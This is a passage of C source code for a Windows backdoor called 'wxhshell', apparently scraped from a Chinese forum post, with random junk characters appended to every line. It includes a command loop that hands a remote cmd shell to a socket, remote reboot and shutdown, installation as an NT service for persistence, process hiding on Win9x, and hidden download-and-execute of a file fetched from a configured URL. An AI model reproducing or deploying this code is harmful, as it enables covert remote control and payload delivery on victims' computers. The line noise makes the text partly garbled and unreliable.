  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hl**zF  
  } .ots?Ns  
  else { 0TmZ*?3!4  
z#RuwB+  
    switch(cmd[0]) { 2qlIy  
  { a. <`  
  // 帮助 {gw [%[ZM  
  case '?': { pD[pTMG@$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); QhsVIta  
    break; -8/JP  
  } rfc|`*m}0  
  // 安装 K>$qun?5  
  case 'i': { lQWBCJ8y  
    if(Install()) !O8.#+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IhfZLE.,  
    else cN5"i0xk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wh*:\_!0\  
    break; RbKwO} z$q  
    } bf(+ldq  
  // 卸载 R1Yqz $#  
  case 'r': { 94y9W#  
    if(Uninstall()) V,m3-=q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K_Re}\D  
    else ^\T]r<rCY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %W&1`^Jl  
    break; "Vx6 #u@}  
    } 6`Lcs  
  // 显示 wxhshell 所在路径 >O3IfS(l  
  case 'p': { PV(4$I}  
    char svExeFile[MAX_PATH]; _-RyHgX  
    strcpy(svExeFile,"\n\r"); (Igu:=  
      strcat(svExeFile,ExeFile); 9>;} /*:H  
        send(wsh,svExeFile,strlen(svExeFile),0); `6}Yqh))  
    break; 5#2jq<D  
    } y] y9'5_  
  // 重启 Hr&Ere8.4p  
  case 'b': { E?_ zZ2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~5T$8^K  
    if(Boot(REBOOT)) ']h IfOD"r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sjn:O'  
    else { a5 bPEJ=I  
    closesocket(wsh); Cdmy.gx^  
    ExitThread(0); (2tH"I  
    } },s_nJR:8  
    break; [[X+P 0`r  
    } %mu>-hac  
  // 关机 MOeoU1Hn  
  case 'd': { ZJvo9!DL|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); h 1*FPsc  
    if(Boot(SHUTDOWN)) gs>A=A(VYf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gvlFumg2  
    else { X|'2R^V.  
    closesocket(wsh); MnS+nH!d  
    ExitThread(0); =+\$e1Mb*  
    } O+b6lg)q  
    break; AOAO8%|I  
    } \OY}GRKt  
  // 获取shell /?U!y?t&@  
  case 's': { b`zET^F  
    CmdShell(wsh); |EEi&GOR(y  
    closesocket(wsh); QXY}STs  
    ExitThread(0); x) 5LT}p  
    break; kV+ R5R  
  } MyFCJJ/  
  // 退出 _ Mn6L=  
  case 'x': { }uiPvO+&p  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a ea0+,;  
    CloseIt(wsh); mr qaM2,(I  
    break; V:>`*tlh  
    } d'OGVN  
  // 离开 USFg_sO  
  case 'q': { 87}(AO)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #N9d$[R*  
    closesocket(wsh); N%u  
    WSACleanup(); rs_h}+6"s  
    exit(1); Pk:zfC?4  
    break; 1$(  
        } $+jy/:]D  
  } {=iyK/Uf  
  } O2lIlCL  
K_&_z  
  // 提示信息 vpV$$=Qwp  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Qsji0ikG  
} 5*1#jiq  
  } 61>f(?s  
N iISJWk6'  
  return; '$6PTa  
} S(tEw Xy  
#g{Mne  
// shell模块句柄 v2=/[E@  
int CmdShell(SOCKET sock) ;W6-i2?  
{ & g$rrpTzv  
STARTUPINFO si; 73)Ll"(  
ZeroMemory(&si,sizeof(si)); ZPvf-Pq Jl  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CW;m  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; u# 3)p  
PROCESS_INFORMATION ProcessInfo; ,5w]\z  
char cmdline[]="cmd"; :q;R6-|.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Q1]Wo9j  
  return 0; *{nunb>WO  
} O4!9{  
--A&TV  
// 自身启动模式 BV1u,<T"  
int StartFromService(void) &g {<HU?BT  
{ u GAh7Sop  
typedef struct A _i zSzC1  
{ bBG/gQ  
  DWORD ExitStatus; N6q5`Ry  
  DWORD PebBaseAddress; {#9,j]<  
  DWORD AffinityMask; qy&\Xgn;GA  
  DWORD BasePriority; :*cHA  
  ULONG UniqueProcessId; ThiN9! Y  
  ULONG InheritedFromUniqueProcessId; 4|=vxJ  
}   PROCESS_BASIC_INFORMATION; gb(#DbI  
`V@z&n0P6  
PROCNTQSIP NtQueryInformationProcess; Ih3$  
6%UY1Q.?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \ j:AR4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xG w?'\  
& +]x;K  
  HANDLE             hProcess; IX.sy  
  PROCESS_BASIC_INFORMATION pbi; V]m^7^m3  
- f 4>MG  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !xymoiArp  
  if(NULL == hInst ) return 0; pALJl[Cb  
3a9u"8lG  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); + ~~ Z0.[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4&]%e6,jH  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1J&#&\,f&  
BCBUb  
  if (!NtQueryInformationProcess) return 0; #fN/LO  
!-ZP*V3}h  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1@@y]s_.a  
  if(!hProcess) return 0; sS|<&3  
>Fp&8p`am  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; O{nC^`X  
g}YToOs  
  CloseHandle(hProcess); B*2{M  
zsQF,7/}B  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qh H+m  
if(hProcess==NULL) return 0; c&b/Joi7@  
:l;,m}#@  
HMODULE hMod; 6&mWIk^VC  
char procName[255]; 8yvJ`eL-  
unsigned long cbNeeded; *0\k Z,#BJ  
i(P>Y2s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); H>Ks6V)RL4  
80HEAv,O  
  CloseHandle(hProcess); \6i 9q=  
jceHK l  
if(strstr(procName,"services")) return 1; // 以服务启动 L\YZT| K(  
8:<1|]]  
  return 0; // 注册表启动 O"8P#Ed  
} wR(ttwxK3  
A(NEWO  
// 主模块 wa2~C [  
int StartWxhshell(LPSTR lpCmdLine) Hva{A #  
{ a}w&dE$!-  
  SOCKET wsl; pJn>oGeJ&  
BOOL val=TRUE; Z@u ;Z[@  
  int port=0; qhnapZJ  
  struct sockaddr_in door; .01TTK*  
.T{U^0 )  
  if(wscfg.ws_autoins) Install(); >pnz_MQ   
:/~_sJt C  
port=atoi(lpCmdLine);  XtR`?  
eWw y28t  
if(port<=0) port=wscfg.ws_port; T%w(P ^qk  
TtZrttCE6  
  WSADATA data; `!_?uT  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; N4s$.`  
[:BW+6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0O_E\- =  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Q6xgLx[  
  door.sin_family = AF_INET; ;=#qHo9k1%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ${e -ffyy  
  door.sin_port = htons(port); ijg,'a~3E  
w2' 3S#nZ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /lru"R D  
closesocket(wsl); x7Eeb!s0f,  
return 1; noFh p  
} WVj&0  
J09ZK8 hK  
  if(listen(wsl,2) == INVALID_SOCKET) { *x5o=)Y  
closesocket(wsl); 27$\sG|g  
return 1; N!Rt;Xm2@  
} wAPO{3  
  Wxhshell(wsl);  X+\0%|  
  WSACleanup(); 7@3M]5:3g  
!SN6 ?Xy  
return 0; m[{nm95QZ  
%N!h38N2  
} JW2W>6Dgv[  
.ZM]%[4  
// 以NT服务方式启动 U24V55ZnI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) V.+DP  
{ rC=f#YjR  
DWORD   status = 0; h@ EJTAi  
  DWORD   specificError = 0xfffffff; <x^IwS  
3$;J0{&[i  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?! !;XW  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; x>'?IJZ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /\Jc:v#Q  
  serviceStatus.dwWin32ExitCode     = 0; -0/=k_q_  
  serviceStatus.dwServiceSpecificExitCode = 0; {3jm%ex  
  serviceStatus.dwCheckPoint       = 0; @ $ 9m>6V  
  serviceStatus.dwWaitHint       = 0; *'s&/vEy  
+W!'B r  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Id; mn}+~  
  if (hServiceStatusHandle==0) return; RiwEuY  
[Q7`RB  
status = GetLastError(); ;9 lqSv/6  
  if (status!=NO_ERROR) &0?DL  
{ H;4oZ[g  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; tPQ2kEW  
    serviceStatus.dwCheckPoint       = 0; PsacXZNs\N  
    serviceStatus.dwWaitHint       = 0; \t[ hg  
    serviceStatus.dwWin32ExitCode     = status; ^a: Saq-}  
    serviceStatus.dwServiceSpecificExitCode = specificError; jp"XS  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); X+fu hcn  
    return; K%o6hBlk_  
  } T "ZQPLg  
@DRfNJ}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \3,$YlG  
  serviceStatus.dwCheckPoint       = 0; %jYQ  
  serviceStatus.dwWaitHint       = 0; 8.6no  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9N`+ O  
} yN%3w0v  
}mkA Hmu4  
// 处理NT服务事件,比如:启动、停止 q=(M!9cE  
VOID WINAPI NTServiceHandler(DWORD fdwControl) t"jIfU>'a/  
{ EY=\C$3J:  
switch(fdwControl) y=y/d>=w  
{ ,K"r:)\  
case SERVICE_CONTROL_STOP: e-YGuWGN7  
  serviceStatus.dwWin32ExitCode = 0; |s)VjS4@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; R;5QD`  
  serviceStatus.dwCheckPoint   = 0; wR`w@ 5,d  
  serviceStatus.dwWaitHint     = 0; ZP]2/;h  
  { 77Q4gw~2U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .N'%hh  
  } 5M/%%Ox  
  return; g wZ+GA  
case SERVICE_CONTROL_PAUSE: ~GsH8yA_P  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ZdJVs/33Vn  
  break; yHV^a0e7EH  
case SERVICE_CONTROL_CONTINUE: E` :ZH  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !8H!Fj`|j  
  break; TPN:cA6[c  
case SERVICE_CONTROL_INTERROGATE: &VtWSq-)  
  break; !07FsPI#{  
}; xF\}.OfWG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  Ep#<$6>  
} 6z%&A]6k:  
N?Z+zN&P  
// 标准应用程序主函数 U~JG1#z6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >n@>h$]  
{ WHdqO8  
j};pv2  
// 获取操作系统版本 >vNk kxWyQ  
OsIsNt=GetOsVer(); sWqPw}/3>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); tIgCF?  
$Sc08ro  
  // 从命令行安装 M4L~bK   
  if(strpbrk(lpCmdLine,"iI")) Install(); `&"H* Ie  
59"Nn\}3gE  
  // 下载执行文件 K{`2jK#  
if(wscfg.ws_downexe) { S]#=ES'^/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;'Z,[a  
  WinExec(wscfg.ws_filenam,SW_HIDE); Q9Xm b2LN  
} ]e#,\})Br  
\6nQ-S_  
if(!OsIsNt) { wnZ*k(  
// 如果时win9x,隐藏进程并且设置为注册表启动 Xm0&U?dZB  
HideProc(); oK(W)[u  
StartWxhshell(lpCmdLine); N'Z_6A*-  
} 4`EvEv$i  
else GT1 X  
  if(StartFromService()) !<['iM  
  // 以服务方式启动 ||"":K  
  StartServiceCtrlDispatcher(DispatchTable); gn4g 43  
else 7oqn;6<[>,  
  // 普通方式启动 c=jTs+h'  
  StartWxhshell(lpCmdLine); *n$m;yI  
z!Pdivx  
return 0; }hObtAS  
}
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只看该作者 1 发表于: 2006-10-10
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